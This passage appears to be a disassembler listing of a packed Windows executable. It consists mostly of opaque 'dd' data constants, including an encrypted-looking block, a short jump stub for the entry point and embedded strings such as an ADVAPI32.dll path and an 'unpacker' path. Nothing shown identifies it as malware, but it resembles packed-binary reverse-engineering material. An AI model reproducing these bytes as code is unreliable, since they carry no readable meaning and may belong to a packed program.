		dd 4A90EFh, 0E051A81Bh,	50174A9Fh, 5C422CB9h, 0C100C992h
		dd 3B0CE355h, 0A00037A8h, 0D240C8CFh, 6912602h,	1E2E82BAh
		dd 0A69049B1h, 2A75BE00h, 0D66CDACBh, 0C65000D4h, 8623E65h
		dd 61CF89B9h, 9F3F618Bh, 5FC0AA6Ch, 0C8A8240Bh,	69B1230h
		dd 0A977F334h, 43217F18h, 127B320h, 62FB1AE8h, 0EDA92Eh
		dd 17964901h, 0BEA345h,	33C0682Bh, 0A62421F1h, 0B31D4A6Ah
		dd 4E18A428h, 62815FBAh, 75450426h, 0C7B068D8h,	2F83C814h
		dd 15EE0ECh, 4FF83E11h,	32A00BE3h, 24150050h, 0EE58640Dh
		dd 19B803C6h, 0E8EDFF97h, 0FE8D60E8h, 7F300198h, 0A883110h
		dd 0F1DA003Fh, 0DD0BFB3h, 2A2808BAh, 7844C82Eh,	686D4C90h
		dd 4786A901h, 42B41DE1h, 7DE0B088h, 28F4A5AEh, 3D4C7554h
		dd 0FAFD3Ah, 7640E425h,	0E6E759AFh, 91F2E8A3h, 606424CCh
		dd 0D1A1345Ch, 0EDAE9000h, 3F522D73h, 8360993Bh, 76CF0E78h
		dd 0C6BCFBE0h, 4D02A8E0h, 4371093Fh, 0F69C441Eh, 3C950072h
		dd 2CDE0451h, 8E04A208h, 8B6F53B0h, 44198CC8h, 1E0E085Bh
		dd 1EC2676Bh, 0A2F85EC0h, 5BFBFCE6h, 3723FCAAh,	0B710D988h
		dd 0B045DCh, 9F44806Dh,	0F843C05Eh, 10862137h, 483703A2h
		dd 7F9698Ch, 46F08722h,	296B7123h, 3F0EE47Fh, 5C397E09h
		dd 0D324100Dh, 9253005Ah, 5F3C07F8h, 7208B75Bh,	0A4E4856Fh
		dd 919C0C4h, 601AD754h,	9821F4F8h, 8FDF74h, 84C123A2h
		dd 55421F0Eh, 92F8D4EDh, 0A8C5B624h, 8740B11Dh,	0D756B9D1h
		dd 5F780198h, 97373094h, 0ADA8F044h, 0B00C0900h, 5C12784h
		dd 0E139C46Ch, 0E9C488DDh, 0AA00D891h, 565CC2E8h, 0FC1013F1h
		dd 0D22C066Ah, 370F2105h, 6286E777h, 40570B80h,	337DA62Fh
		dd 5BC1E2A0h, 398121E7h, 401AD914h, 0B63E8FBDh,	0AEDA0601h
		dd 5EBBE336h, 0B07A54E1h, 981EE0BEh, 0B1063823h, 0F49F5A0h
		dd 0D606457Dh, 59FB7441h, 2C56303Bh, 0EDB6DE00h, 84C6521Fh
		dd 31E163A0h, 55C8FAE2h, 0BC072DE6h, 0B5298C90h, 0D7005C7Eh
		dd 0FC82F4DAh, 4F8700C2h, 0E25C462Ch, 0F8A0BA78h, 30FCB2D1h
		dd 0E90BE930h, 9A1DFDh,	95AE6FC7h, 498E24B3h, 9FBFA21Ch
		dd 7E9C4595h, 98189C00h, 0EBEFFAAAh, 7B600C5h, 46580D60h
		dd 91036DDEh
		dd 2331105Fh, 5DE2EF96h, 9FC4A787h, 37B00059h, 494F0DEh
		dd 0AA154E1h, 0BA98D86Fh, 144D8418h, 0C2604A38h, 0A0A74C28h
		dd 0B9004C64h, 54B2D0DDh, 14CD76CAh, 0C8A79C1Eh, 21714C0h
		dd 0E900BEEFh, 0D7918B65h, 30A7DDBDh, 0BFC98DBAh, 0F900C41Ch
		dd 50FD15FAh, 92106h, 629FE3DFh, 0C930434Fh, 0A935306h
		dd 31A1B079h, 2C416BB9h, 0C08B3036h, 573C1C7Eh,	1DBEE0h
		dd 0F1766996h, 7EC58B6h, 432EA24Ch, 0E0333753h,	86FA9BC2h
		dd 3A1B7401h, 9F1C0FB4h, 36000022h, 5B087754h, 42002549h
		dd 0E3C72B20h, 17FED63Eh, 1135A4Ch, 0B3429D6h, 9880FEB8h
		dd 36AF6B99h, 0DFD7AD0Ah, 0B901BCAAh, 6019C2FEh, 0A1434h
		dd 7F0781C1h, 1D82A374h, 4B89E326h, 0C8000212h,	4EF83F14h
		dd 6CD8583Ch, 0B2A80C38h, 0CFB601BCh, 0FEDA31A6h, 320291Eh
		dd 72259071h, 7A06C8F7h, 4C76ECE3h, 422F893h, 9A78CF01h
		dd 6318C0FEh, 0FB5E3980h, 65B777B8h, 0DC051092h, 59E1EC55h
		dd 0A921AC44h, 1728A4h,	0CCB6B715h, 711DD03Ah, 6E169D09h
		dd 53B10177h, 0A87069C9h, 0ACA05D5Ch, 870CE907h, 0FFAC2EB3h
		dd 0C67FAC89h, 795B4E03h, 0B8CDF10Dh, 94F76009h, 38D14F34h
		dd 2890018Ah, 0F1C92432h, 4760A30h, 0A6342CBh, 4818A264h
		dd 0EB160E34h, 0B8ED8DAh, 0A0960031h, 7E17D76Ah, 0FB618A6Eh
		dd 7328EC61h, 5F0E1ACh,	84DF34h, 0FF2B580h, 0AA2454ECh
		dd 7B3B7826h, 0B127BC05h, 9E030C50h, 79591E93h,	2C67179h
		dd 0E12F9989h, 0A8C4B924h, 0D0050ECh, 6B23C1B3h, 1830B8F0h
		dd 2160BFBCh, 78BD9B62h, 0FC030F4Bh, 7C80479Eh,	0B46AB04h
		dd 0F4808C91h, 6B58C075h, 82C80FBDh, 0BA0A97E0h, 111198h
		dd 41D1F388h, 0B1F25CE3h, 89517B4h, 0A8807274h,	6F65BF92h
		dd 0D81C0160h, 0DD873AAEh, 0FDC70C8h, 0A809042Bh, 0A7E6B280h
		dd 315C2219h, 47C8F829h, 0ECEC4040h, 38EE78F9h,	0F3F86550h
		dd 79C095B8h, 431C5A32h, 0D442C87h, 0E03C0350h,	4E80F8C1h
		dd 924C5921h, 0E9890F40h, 6D0AC6D8h, 3898C9h, 372E7E86h
		dd 5E2DF818h, 3F0380B0h, 0EF3A8A4Ah, 48D2C023h,	0A06CA3BAh
		dd 6B40FBFh, 5D8ED592h,	0F200A08Ah, 0D8E791DAh,	0F0962CD3h
		dd 0C050430h, 0A4896F39h, 9D036B60h, 0BA9EBFEEh, 8F51008Ch
		dd 403CB13h, 0F218BD3Fh, 0BCA1F68h, 720AF89Bh, 586750B9h
		dd 0C3E97741h, 0F099C6F9h, 3A8F0EFh, 0EC00225Bh, 0DF957B76h
		dd 1EAC5166h, 0E2438Ah,	0BFF9425Ch, 0AD020590h,	9C17FCDBh
		dd 0A650600Ah, 634901F8h, 0DDAFA068h, 14B040A3h, 881E6B0Bh
		dd 6C142A12h, 0D1007A40h, 0BAE53343h, 69D91C1h,	0E3E19C19h
		dd 0F226D15Bh, 0B8301C95h, 60E9F05Ch, 0F7ADB16Dh, 5F010503h
		dd 0B498825Ah, 77F83BE5h, 62F8011Eh, 0C7BB954Ch, 44ADC8CFh
		dd 0D4CE5C2Eh, 0DD84B101h, 0E86094B8h, 0E1F03FE9h, 0A04BE709h
		dd 2B003C44h, 66B52F4Eh, 1946FCCh, 69F54004h, 2D93091Bh
		dd 85C17C8h, 37E5C20h, 0A0B018E0h, 7F2AE1F9h, 90C96424h
		dd 1026D51Fh, 73E99F40h, 0F6E256h, 0FECE41BCh, 0C579AA03h
		dd 68EAA81Fh, 843ED0C1h, 2821224Fh, 880A5889h, 494A7010h
		dd 0AC840B13h, 94F50C09h, 62BE003Ch, 99D4B9E6h,	0AA7E3566h
		dd 5C37DB01h, 63930A0Ch, 2FB04B13h, 33497678h, 1428B64h
		dd 0B24A05ACh, 0E0F9E034h, 5DEC049Fh, 0F5E4E199h, 3BF8331Ch
		dd 0EEA5832Eh, 0A02715D0h, 127ED977h, 52C4Bh, 0D2B4ABC8h
		dd 0E01736E2h, 0F0073B4Fh, 0C08678B0h, 0BB420020h, 0BAD03FB7h
		dd 0FE60E81Bh, 6AF89C59h, 0C7800066h, 31DE4A2Ch, 8E250AADh
		dd 20089ACBh, 0E2EBAE8h, 80B8B909h, 41B8C8D3h, 0B400E188h
		dd 706456A3h, 39627BEh,	0C639E008h, 0C1C40624h,	6030C89Ch
		dd 438A7420h, 64BAFAB0h, 0F888017Ch, 0C44427D3h, 0B06BF879h
		dd 1A695C00h, 0BE49D447h, 0D2F8010Ah, 0E9DCD0B8h, 5801E361h
		dd 57AD182h, 0F429A0BDh, 0EF660800h, 0C52EC931h, 4432D20Fh
		dd 6CAE2FBh, 3B50E654h,	1C8052E3h, 4B34C333h, 0D616C49Ah
		dd 0D8002C7Eh, 444C8443h, 8780A090h, 17E406DAh,	41FEA073h
		dd 861FD239h, 5829C819h, 80B0E8h, 9D06DACEh, 6D716E05h
		dd 0DCACF026h, 8E34AE60h, 92B23DD9h, 8F9ACE81h,	602E41E2h
		dd 6A88615Ch, 1CC5202h,	60FBFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_52D4F5:				; CODE XREF: start:loc_4D3265j
					; DATA XREF: start:loc_4D3086o
		jmp	loc_530856
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset byte_5640BD
		align 10h
		dd 20000h, 6 dup(0)
		dd 6C7B0000h, 0FED1h, 0
		dd 92340000h, 9Eh, 2 dup(0)
		dd 0D5BC0000h, 55h, 2 dup(0)
		dd 91FD0000h, 0
		dd 880000h, 4 dup(0)
		dd 28CC0000h, 4521h, 0
		dd 7E20000h, 53h, 0Ch dup(0)
		dd 61EC0000h, 0C09C0057h, 59740058h, 9B5B8655h,	1250h
		dd 7 dup(0)
		dd 0CABF0000h, 1001FEFBh, 2 dup(0)
		dd 0D5BC0000h, 0DEA60055h, 52h,	0
		dd 53DD0000h, 0ADBDh, 0
		dd 7FD80000h, 0A0h, 0FDC40000h,	0AC56h,	0
		dd 280000h, 74240000h, 59h, 61EC0000h, 57h, 6 dup(0)
		dd 3A00000h, 3040000h, 0
		dd 230000h, 52h, 33330000h, 2 dup(33333333h), 3333h, 3 dup(0)
		dd 0A0370000h, 67AC009Eh, 56h, 57A0000h, 28300057h, 1CB900B4h
		dd 59h,	4 dup(0)
		dd 7D7D0000h, 55h, 5 dup(0)
		dd 67AC0000h, 56h, 7 dup(0)
		dd 0D6B60000h, 86330ADFh, 59h, 2 dup(0)
		dd 0CAE30000h, 2159h, 0
		dd 10820000h, 6000h, 0Ch dup(0)
		dd 67AC0000h, 56h, 41540000h, 0FCFC0058h, 8001h, 9F70000h
		dd 77FCh, 4 dup(0)
		dd 75820000h, 6000h, 5 dup(0)
		dd 10000h, 0Eh dup(0)
		dd 20000h, 0
		dd 819A0000h, 57h, 0CBA60000h, 13430000h, 0FFFF2810h, 34DBh
		dd 89600000h, 0E995h, 2	dup(0)
		dd 2AFC0000h, 0A800FEh,	78150000h, 68F6h, 0Ch dup(0)
		dd 34660000h, 0
		dd 6DFB0000h, 0
		dd 0BEE90000h, 0FFA9h, 6CB00000h, 9Eh, 6 dup(0)
		dd 0E81E0000h, 52h, 0E81E0000h,	0E81E0052h, 2CA0066h, 56h
		dd 4 dup(0)
		dd 800000h, 0
		dd 0B00000h, 740000h, 1DC70000h, 270Fh,	0
		dd 0C09E0000h, 65AEh, 0
		dd 785D0000h, 0B1CAFFA9h, 0CC5700ACh, 0F15767D9h, 56h
		dd 0Eh dup(0)
		dd 31A00000h, 1465h, 85h dup(0)
		dd 7F5D0000h, 3259h, 24240000h,	2424h, 0FFB00000h, 22Eh
		dd 26350000h, 47A5690h,	5A320000h, 56h,	0
		dd 8B650000h, 7DB5h, 500000h, 0FE91h, 2	dup(0)
		dd 61E90000h, 0E140057h, 53h, 8	dup(0)
		dd 2FA0000h, 80ADh, 0D3770000h,	3AEDh, 2 dup(0)
		dd 6DFB0000h, 0D7D00000h, 0D377FF4Bh, 3AEDh, 4 dup(0)
		dd 0D00000h, 9 dup(0)
		dd 3E3B0000h, 0FFE0009Eh, 12h, 0
		dd 15680000h, 9Fh, 0
		dd 5CB50000h, 77E7h, 2 dup(0)
		dd 35B0000h, 3 dup(0)
		dd 23E80000h, 7484009Fh, 7FFEh,	10800000h, 8 dup(0)
		dd 61C80000h, 9BB40000h, 6000h,	21FE0000h, 989Dh, 3 dup(0)
		dd 1EE60000h, 0C6h, 2 dup(0)
		dd 0CF580000h, 0ACh, 5 dup(0)
		dd 0C2690000h, 0A4FE24h, 11h dup(0)
		dd 3040000h, 7FFEh, 915B0000h, 9Eh, 6 dup(0)
		dd 48230000h, 56h, 2 dup(0)
		dd 21680000h, 77E8h, 4 dup(0)
		dd 0FFBE0000h, 57h, 10h	dup(0)
		dd 0FFFF0000h, 0FFFFh, 67AC0000h, 56h, 7 dup(0)
		dd 0CB1F0000h, 1D0F7h, 5 dup(0)
		dd 3E680000h, 77E8h, 3 dup(0)
		dd 22920000h, 0FAB1009Eh, 55h, 4 dup(0)
		dd 0E00000h, 1DE3h, 0
		dd 0BD940000h, 0FFFFh, 0
		dd 56780000h, 1234h, 5 dup(0)
		dd 257h, 3 dup(0)
		dd 72C80000h, 57h, 56A20000h, 3343h, 0
		dd 0E0D0000h, 0FFA9h, 0D7060000h, 77E6h, 3 dup(0)
		dd 700000h, 3 dup(0)
		dd 0B2320000h, 57h, 0
		dd 7D10000h, 4 dup(0)
		dd 15680000h, 9Fh, 4 dup(0)
		dd 0E90000h, 10h, 10h dup(0)
		dd 282A0000h, 0
		dd 0A1440000h, 77E7h, 12h dup(0)
		dd 0BC0000h, 0A13F0000h, 30477E7h, 7FFEh, 0FF300000h, 0FFFFh
		dd 8 dup(0)
		dd 0EC7B0000h, 0FFA8h, 0
		dd 0B5E20000h, 8A0Fh, 5	dup(0)
		dd 5ECE0000h, 0FFA7h, 2	dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 9D710000h, 6C830059h, 12F4FE4Ch, 53h, 17ED0000h, 5Ah
		dd 4 dup(0)
		dd 8E750000h, 57h, 3 dup(0)
		dd 73160000h, 0A0h, 4 dup(0)
		dd 2380000h, 0AE500040h, 57h, 96D800B5h, 0FFFFh, 0
		dd 0F7AB0000h, 57h, 4 dup(0)
		dd 5E9C0000h, 0DAD3h, 4	dup(0)
		dd 0FCFC0000h, 0B1348001h, 8000A0h, 3 dup(0)
		dd 1050000h, 65E40A28h,	56h, 0Bh dup(0)
		dd 0D5540000h, 9Dh, 0
		dd 517B0000h, 0FF605CB3h, 12h, 4 dup(0)
		dd 0A0990000h, 77E7h, 2	dup(0)
		dd 51510000h, 57h, 0Ah dup(0)
		dd 3040000h, 7FFEh, 1B400000h, 76B4h, 7F7E0000h, 7C3Ah
		dd 7 dup(0)
		dd 10000h, 2 dup(0)
		dd 61930000h, 0C890h, 5B4B0000h, 5015h,	1E80000h, 1Ah
		dd 6 dup(0)
		dd 3040000h, 7FFEh, 82C70000h, 2160E220h, 77E8h, 2 dup(0)
		dd 30DF0000h, 2	dup(0)
		dd 0F81E0000h, 0FFACh, 3 dup(0)
		dd 8F5E0000h, 0FFACh, 0Eh dup(0)
		dd 0DEA60000h, 52h, 10000h, 3 dup(0)
		dd 15680000h, 8B65009Fh, 7DB5h,	0FF600000h, 12h, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0AA060000h, 0BF6Fh, 0
		dd 0F510000h, 0E90056h,	10h, 6 dup(0)
		dd 2DD00000h, 0A5CE0063h, 0FFA9h, 2 dup(0)
		dd 2C8A0000h, 0FFAAh, 0
		dd 13850000h, 57h, 3 dup(0)
		dd 8C0000h, 0Eh	dup(0)
		dd 72C80000h, 57h, 0AC230000h, 93005242h, 230E0000h, 7594FFAAh
		dd 66400056h, 569Ch, 2 dup(0)
		dd 0DC2A0000h, 52h, 6DFB0000h, 5A320000h, 3040056h, 7FFEh
		dd 8 dup(0)
		dd 988C0000h, 0F24Dh, 2	dup(0)
		dd 1CE90000h, 59h, 0Ch dup(0)
		dd 11110000h, 1111h, 8002h, 3 dup(0)
		dd 95690000h, 3	dup(0)
		dd 0CF9B0000h, 0D27C359Ah, 0FF7C0057h, 9BAC0059h, 0A0h
		dd 0
		dd 0B96B0000h, 3 dup(0)
		dd 0A1440000h, 30DF77E7h, 0A9C5h, 2 dup(0)
		dd 0D9A00000h, 35E5h, 9	dup(0)
		dd 0FF540000h, 3A430012h, 4E49575Ch, 53574F44h,	7379535Ch
		dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 69DD0000h, 9Eh, 8 dup(0)
		dd 1B2B0000h, 77F5h, 0
		dd 5910000h, 77E8h, 0Ah	dup(0)
		dd 0FAF00000h, 0FFFDh, 0E5470000h, 989904E4h, 56h, 6DFB0000h
		dd 4 dup(0)
		dd 0FFC40000h, 12h, 50E90000h, 0C9C4h, 0Ah dup(0)
		dd 2C4A0000h, 5Ah, 0FFFE0000h, 4BF5h, 0
		dd 0D8D0000h, 59h, 0
		dd 30040000h, 41h, 71570000h, 59h, 0Fh dup(0)
		dd 409E0000h, 0F15Ch, 8	dup(0)
		dd 0CF80000h, 56h, 0
		dd 0ACEC0000h, 2385242h, 40h, 0E62A0000h, 0F49Bh, 0AF0000h
		dd 19Eh, 8 dup(0)
		dd 13000000h, 3	dup(0)
		dd 10000h, 6 dup(0)
		dd 0F9B00000h, 0C001Fh,	23Fh, 0
		dd 0D00000h, 2E9E0000h,	6552005Ah, 72617473h, 70704174h
		dd 6578652Eh, 2	dup(0)
		dd 5EC60000h, 0
		dd 8D8D0000h, 40776656h, 35C0000h, 1FFFFh, 3000000h, 0D2CC7FFEh
		dd 59h,	14h, 7 dup(0)
		dd 0FFBC0000h, 6056h, 5	dup(0)
		dd 8D460000h, 0FFFFh, 4	dup(0)
		dd 7FFC0000h, 56h, 6 dup(0)
		dd 0B4E20000h, 4 dup(0)
		dd 1FD90000h, 59h, 0
		dd 0FFB00000h, 2830019Eh, 0B4h,	78EE0000h, 1443009Eh, 0FD9Fh
		dd 258h, 0CBA60000h, 0BFFF0000h, 7FFFh,	4 dup(0)
		dd 230000h, 52h, 1Eh dup(0)
		dd 77E6h, 3 dup(0)
		dd 69DD0000h, 9Eh, 3 dup(0)
		dd 180B0000h, 77F5h, 0Ah dup(0)
		dd 67880000h, 0
		dd 68470000h, 0ECB4h, 2	dup(0)
		dd 0FD440000h, 4DBFh, 9F70000h,	9Eh, 30DF0000h,	0A9C5h
		dd 0
		dd 13C10000h, 94BC52FAh, 0FAABh, 74FA0000h, 283Ah, 0
		dd 0F38A0000h, 3A435F4Bh, 755F6D5Ch, 6361706Eh,	72656Bh
		dd 81h dup(0)
		dd 25Ah, 3040000h, 785A7FFEh, 0FEA2h, 2	dup(0)
		dd 94000000h, 4220h, 0
		dd 0C4860000h, 77E7h, 0
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 51510000h, 57h, 8 dup(0)
		dd 0FF540000h, 12h, 0Fh	dup(0)
		dd 77F5h, 8 dup(0)
		dd 28300000h, 7B1D00B4h, 3439h,	8 dup(0)
		dd 697F0000h, 7E4Eh, 672B0000h,	10000056h, 40h,	56000000h
		dd 0CA027FFEh, 69460000h, 0B9A7h, 28300000h, 0B4h, 15A00000h
		dd 91FD0053h, 3	dup(0)
		dd 0FFB00000h, 69DD018Eh, 9Eh, 82AA0000h, 2622h, 5 dup(0)
		dd 4C890000h, 84ADh, 8 dup(0)
		dd 4D0B0000h, 70C40059h, 9Eh, 5	dup(0)
		dd 0B2160000h, 0E30Ah, 4 dup(0)
		dd 2C000000h, 0Ah dup(0)
		dd 6BCE0000h, 247h, 4 dup(0)
		dd 0DE590000h, 211Ch, 3	dup(0)
		dd 60000h, 4 dup(0)
		dd 99250000h, 4, 4 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 961D0000h, 9602h, 2 dup(0)
		dd 51ED0000h, 0AC0057h,	0FF970000h, 59F0FF09h, 77DDh, 40000h
		dd 7FBB0000h, 41E508A0h, 6 dup(0)
		dd 86EB0000h, 67ACFFFFh, 72730056h, 8918h, 5 dup(0)
		dd 215C0000h, 0C0F00002h, 0
		dd 30930000h, 0BF437790h, 0FFA9h, 3 dup(0)
		dd 5E2E0000h, 9Eh, 0Ah dup(0)
		dd 52000000h, 3, 4 dup(0)
		dd 7DEF0000h, 55h, 0Ah dup(0)
		dd 7E20000h, 0F5E80053h, 69DDA625h, 9Eh, 2 dup(0)
		dd 5A390000h, 0F233427Fh, 9Eh, 3000000h, 7FFEh,	0
		dd 1860000h, 53h, 79630000h, 77E7h, 2 dup(0)
		dd 6DEC0000h, 9F2E0000h, 59h, 2D0E0000h, 5Ah, 0
		dd 8C0A0000h, 9Eh, 4 dup(0)
		dd 0FFFE0000h, 4BF5h, 7FDC0000h, 9DE12873h, 0F34727A4h
		dd 56h,	0FFF00000h, 12h, 0
		dd 3040000h, 5D87FFEh, 77E8h, 3040000h,	17FFEh,	5 dup(0)
		dd 67BE0000h, 56h, 28h dup(0)
		dd 21400000h, 2, 0
		dd 7FBB0000h, 1, 9 dup(0)
		dd 75300000h, 9Dh, 3 dup(0)
		dd 4CB50000h, 58081291h, 8D530000h, 0A2h, 3 dup(0)
		dd 40000h, 82AE0000h, 56h, 4 dup(0)
		dd 29D4h, 0
		dd 73160000h, 0A0h, 9C0000h, 94CF0000h,	59h, 6 dup(0)
		dd 8D640000h, 68540059h, 64696D65h, 61h, 1Bh dup(0)
		dd 3800000h, 6507FFEh, 0FFA4FFE0h, 12h,	7 dup(0)
		dd 0E800000h, 5	dup(0)
		dd 3E0000h, 9Dh, 4D0B0000h, 59h, 0
		dd 0A5CE0000h, 0FFA9h, 0
		dd 10000h, 50900000h, 69DD0000h, 9Eh, 0
		dd 30140000h, 0Dh, 2 dup(0)
		dd 8B7E0000h, 0FFFFh, 2	dup(0)
		dd 0CC550000h, 15E0h, 5	dup(0)
		dd 22D80000h, 9Fh, 0
		dd 9F54000Dh, 0BDF30058h, 0EEAFh, 2 dup(0)
		dd 980000h, 4 dup(0)
		dd 7AF80000h, 0A541h, 0Ah dup(0)
		dd 0FF4C0000h, 0FFFFh, 189A0000h, 77DDh, 36h dup(0)
		dd 5CE50000h, 2	dup(0)
		dd 3E680000h, 77E8h, 3 dup(0)
		dd 195B0000h, 287h, 0F4520000h,	52h, 0
		dd 10000h, 5 dup(0)
		dd 5CAC0000h, 56h, 2 dup(0)
		dd 0B5E20000h, 8A0Fh, 2	dup(0)
		dd 25090000h, 8630h, 40000000h,	3, 4 dup(0)
		dd 5A320000h, 56h, 32680000h, 9Fh, 3 dup(0)
		dd 7FFC0040h, 0
		dd 0D2CC0000h, 56h, 8D640000h, 7F540059h, 25Eh,	0AF170000h
		dd 363Bh, 0
		dd 9EB90000h, 0FFFFh, 2	dup(0)
		dd 0FFB00000h, 0EEh, 63h dup(0)
		dd 67AC0000h, 989D0056h, 6EE3h,	4 dup(0)
		dd 0C1C0000h, 1F13h, 0Bh dup(0)
		dd 9E1E0000h, 72FEh, 0
		dd 0FE20000h, 0A5E70058h, 0A2h,	1Ch dup(0)
		dd 3040000h, 7FFEh, 0B53C0000h,	1144h, 4 dup(0)
		dd 54DB0000h, 0AEh, 0
		dd 37170000h, 0BAF9FFFEh, 59h, 4 dup(0)
		dd 0FE60000h, 9Dh, 8 dup(0)
		dd 6DFB0000h, 7	dup(0)
		dd 258h, 8 dup(0)
		dd 93000000h, 2DE00000h, 5Ah, 0
		dd 0CB280000h, 0E089h, 4 dup(0)
		dd 900000h, 1E900000h, 3B70h, 75B50000h, 3 dup(0)
		dd 1D190000h, 56h, 2 dup(0)
		dd 0F3B80000h, 0FFF7h, 2Ch dup(0)
		dd 99950000h, 0A2h, 0FAB10000h,	55h, 0
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 5ECC0000h, 0DB4077DDh, 7157FFFFh, 59h, 30DA0000h, 2505h
		dd 2 dup(0)
		dd 915B0000h, 9Eh, 0
		dd 0FE160000h, 52h, 3 dup(0)
		dd 17300000h, 3	dup(0)
		dd 0EC0000h, 2 dup(0)
		dd 0E7420000h, 0CDE4753h, 56h, 0FFB00000h, 304018Eh, 59h
		dd 0
		dd 4F5A0000h, 2E9E00C9h, 48E9005Ah, 1, 0
		dd 287h, 3 dup(0)
		dd 0C96A0000h, 2AFC77D4h, 0FEh,	0
		dd 2E0F0000h, 0A8A077F5h, 78DDh, 8B820000h, 77E7h, 0
		dd 0C8E90000h, 46020001h, 0FAA0000h, 58h, 0D8100000h, 55h
		dd 40000h, 0A6840000h, 3 dup(0)
		dd 940000h, 0Bh	dup(0)
		dd 8EB0000h, 0
		dd 23Fh, 3D970000h, 1DBh, 0FBF30000h, 7FFEh, 2 dup(0)
		dd 20000h, 0B5660000h, 94DCh, 93930000h, 716B009Eh, 0FFA6h
		dd 3 dup(0)
		dd 76110000h, 8002h, 3 dup(0)
		dd 0CE9D0000h, 57h, 0
		dd 7FFF0000h, 6180059h,	77E8h, 241D0000h, 7EC2h, 7C0000h
		dd 6 dup(0)
		dd 67AC0000h, 56h, 0FAB10000h, 0FFFFh, 6 dup(0)
		dd 0FF540000h, 12h, 95690000h, 10h dup(0)
		dd 0A00000h, 0
		dd 6CB80000h, 247h, 30DA0000h, 2505h, 2	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0DF310000h, 67BAh, 0B2h dup(0)
		dd 0E81E0000h, 66h, 5 dup(0)
		dd 30477F5h, 7FFEh, 8 dup(0)
		dd 0D5BC0000h, 55h, 0
		dd 6DFB0000h, 2	dup(0)
		dd 99640000h, 6BC5h, 76860000h,	5A321FFEh, 56h,	5 dup(0)
		dd 3040000h, 21217FFEh,	2121h, 4 dup(0)
		dd 359B0000h, 59h, 3 dup(0)
		dd 259h, 2 dup(0)
		dd 0FA560000h, 9Eh, 7 dup(0)
		dd 77D4h, 2 dup(0)
		dd 0ACh, 0
		dd 1E570000h, 5A9Fh, 2 dup(0)
		dd 91140000h, 69DD0058h, 9Eh, 0
		dd 5E80000h, 0
		dd 6DFB0000h, 7	dup(0)
		dd 93EF0000h, 77E7h, 34300000h,	312Dh, 17h dup(0)
		dd 32C60000h, 8D31h, 7 dup(0)
		dd 0C8B80000h, 163Fh, 3C8C0000h, 1040Ah, 6 dup(0)
		dd 70780000h, 0
		dd 2080000h, 0FFA7h, 7 dup(0)
		dd 20000000h, 0FC540000h, 3048001h, 7FFEh, 0
		dd 190000h, 0
		dd 0F790000h, 69DD0056h, 9Eh, 9C370000h, 0EE83009Eh, 0FA177F7h
		dd 56h,	0
		dd 3CD80000h, 59h, 31310000h, 572Fh, 7 dup(0)
		db 0
byte_530055	db 3 dup(0)		; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 3 dup(0)
		dd 0C7A80000h, 0FFFFh, 2 dup(0)
		dd 8C0A0000h, 9Eh, 5 dup(0)
		dd 0E3500000h, 4 dup(0)
		dd 10000h, 0AA0000h, 8 dup(0)
		dd 0FAA0000h, 58h, 2BDE0000h, 1693009Eh, 5826h,	0
		dd 93000000h, 3040000h,	7FFEh, 77E6h, 0
		dd 0C0B0000h, 1D47h, 4 dup(0)
		dd 0AC5E0000h, 77E7h, 0
		dd 1F13h, 0BE660000h, 56h, 54F0000h, 0FFAAh, 7 dup(0)
		dd 733B0000h, 59h, 2 dup(0)
		dd 5D60000h, 57h, 0
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9EA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	13h dup(0)
		dd 0C8A80000h, 56h, 54590000h, 1965h, 7	dup(0)
		dd 4AA80000h, 100F5562h, 840059h, 0FFB00000h, 608B018Eh
		dd 0C5F6h, 6 dup(0)
		dd 0C96A0000h, 77D4h, 0
		dd 67AC0000h, 56h, 8 dup(0)
		dd 0EF7F0000h, 7FA6h, 4	dup(0)
		dd 77DDh, 3 dup(0)
		dd 20000h, 1Ah dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 36360000h, 3636h, 8 dup(0)
		dd 10000h, 2 dup(0)
		dd 9EB90000h, 0FFFFh, 418D0000h, 58h, 0
		dd 97C20000h, 5Ah, 2 dup(0)
		dd 8F790000h, 773B0057h, 58h, 5	dup(0)
		dd 16610000h, 1120h, 0DF300000h, 9Fh, 3040000h,	7FFEh
		dd 72BA0000h, 3	dup(0)
		dd 5A320000h, 23D70056h, 77DDh,	32570000h, 305Ch, 5 dup(0)
		dd 9Dh,	4 dup(0)
		dd 61EC0000h, 0A5FD0057h, 77E7h, 10h dup(0)
		dd 632C0000h, 0A1FE0000h, 30400AEh, 0DAC57FFEh,	3E3B0055h
		dd 9Eh,	5 dup(0)
		dd 10000h, 5 dup(0)
		dd 31540000h, 5CB5009Fh, 77E7h,	4 dup(0)
		dd 0FCF40000h, 0FFFFh, 7 dup(0)
		dd 30DA0000h, 2505h, 0
		dd 6DFB0000h, 519D0000h, 0FFE7h, 0FF540000h, 12h, 0
		dd 0C6F20000h, 0C4A8h, 31450000h, 9Eh, 10000h, 0F4530000h
		dd 52h,	0F0560000h, 0FFA7h, 6 dup(0)
		dd 10000h, 23FA0000h, 9Fh, 3 dup(0)
		dd 7E2000Bh, 53h, 17h dup(0)
		dd 0FCF70000h, 9Eh, 6 dup(0)
		dd 42F00000h, 8C45h, 10000h, 0
		dd 40BD0000h, 56h, 5 dup(0)
		dd 0D8F00000h, 9BACFFFFh, 0A0h,	2 dup(0)
		dd 40F70000h, 781B0058h, 7EC2h,	3040000h, 7FFEh, 3 dup(0)
		dd 4F60000h, 53h, 3 dup(0)
		dd 230000h, 56h, 28300000h, 0B4h, 8 dup(0)
		dd 27B10000h, 55h, 3 dup(0)
		dd 3040000h, 7FFEh, 69070000h, 59h, 780000h, 2 dup(0)
		dd 3040000h, 7FFEh, 2AFC0000h, 0FEh, 5 dup(0)
